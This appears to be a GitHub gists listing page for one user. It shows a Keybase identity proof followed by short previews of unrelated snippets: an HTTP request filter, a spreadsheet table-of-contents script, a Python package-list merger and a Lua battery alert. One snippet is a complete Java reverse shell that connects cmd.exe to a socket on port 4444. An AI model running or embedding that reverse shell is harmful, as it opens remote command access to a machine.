I hereby claim:
- I am marksowell on github.
- I am marksowell (https://keybase.io/marksowell) on keybase.
- I have a public key whose fingerprint is C2CC B033 5A63 1A81 8419 6860 4727 1CA7 0D99 8386
To claim this, I am signing this object:
String host="localhost"; | |
int port=4444; | |
String cmd="cmd.exe"; | |
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close(); |
I hereby claim:
To claim this, I am signing this object:
[{"name":"ms","filter":{"filter":"!(Request.Host CONTAINS \"google.com\" AND !(Request.Host CONTAINS \"facebook.com\") AND !(Request.Host CONTAINS \"gstatic.com\") AND !(Request.Host CONTAINS \"googletagmanager.com\") AND !(Request.Host CONTAINS \"wappalyzer.com\") AND !(Request.Host CONTAINS \"bitwarden.com\") AND !(Request.Host CONTAINS \"googleapis.com\") AND !(Request.Host CONTAINS \"google-analytics.com\") AND !(Request.Host CONTAINS \"doubleclick.net\") AND Request.Complete == true"},"filterString":"!(Request.Host CONTAINS \"google.com\") AND !(Request.Host CONTAINS \"facebook.com\") AND !(Request.Host CONTAINS \"gstatic.com\") AND !(Request.Host CONTAINS \"googletagmanager.com\") AND !(Request.Host CONTAINS \"wappalyzer.com\") AND !(Request.Host CONTAINS \"bitwarden.com\") AND !(Request.Host CONTAINS \"googleapis.com\") AND !(Request.Host CONTAINS \"google-analytics.com\") AND !(Request.Host CONTAINS \"doubleclick.net\") AND Request.Complete == true"}] |
function createTOC() { | |
var ss = SpreadsheetApp.getActiveSpreadsheet(); | |
var sheets = ss.getSheets(); | |
// Create a new sheet called "TOC" or set it as the first sheet | |
var sheet = ss.getSheetByName("TOC") || ss.insertSheet("TOC", 0); | |
sheet.clear(); // Clear the TOC sheet | |
if(sheet.getMaxColumns() > 1){ | |
sheet.hideColumns(2, sheet.getMaxColumns() - 1); | |
} | |
// Set the header for the TOC |
# Open both files and read lines | |
with open("old-packages.txt", "r") as f: | |
old_packages = f.readlines() | |
with open("new-packages.txt", "r") as f: | |
new_packages = f.readlines() | |
# Convert lines to dictionary format for easy lookup and merging | |
old_dict = {pkg.split('==')[0]: pkg.split('==')[1].strip() for pkg in old_packages} | |
new_dict = {pkg.split('==')[0]: pkg.split('==')[1].strip() for pkg in new_packages} |
local alertShown = false | |
function checkBatteryStatus() | |
local currentCapacitymAh = hs.battery.capacity() | |
local maxCapacitymAh = hs.battery.maxCapacity() | |
local currentCapacityPercentage = (currentCapacitymAh / maxCapacitymAh) * 100 | |
local isCharging = hs.battery.isCharging() | |
if currentCapacityPercentage <= 5 and not alertShown then | |
hs.alert.show("Battery capacity <= 5%!", 500.0) -- 500 seconds duration for the alert | |
alertShown = true |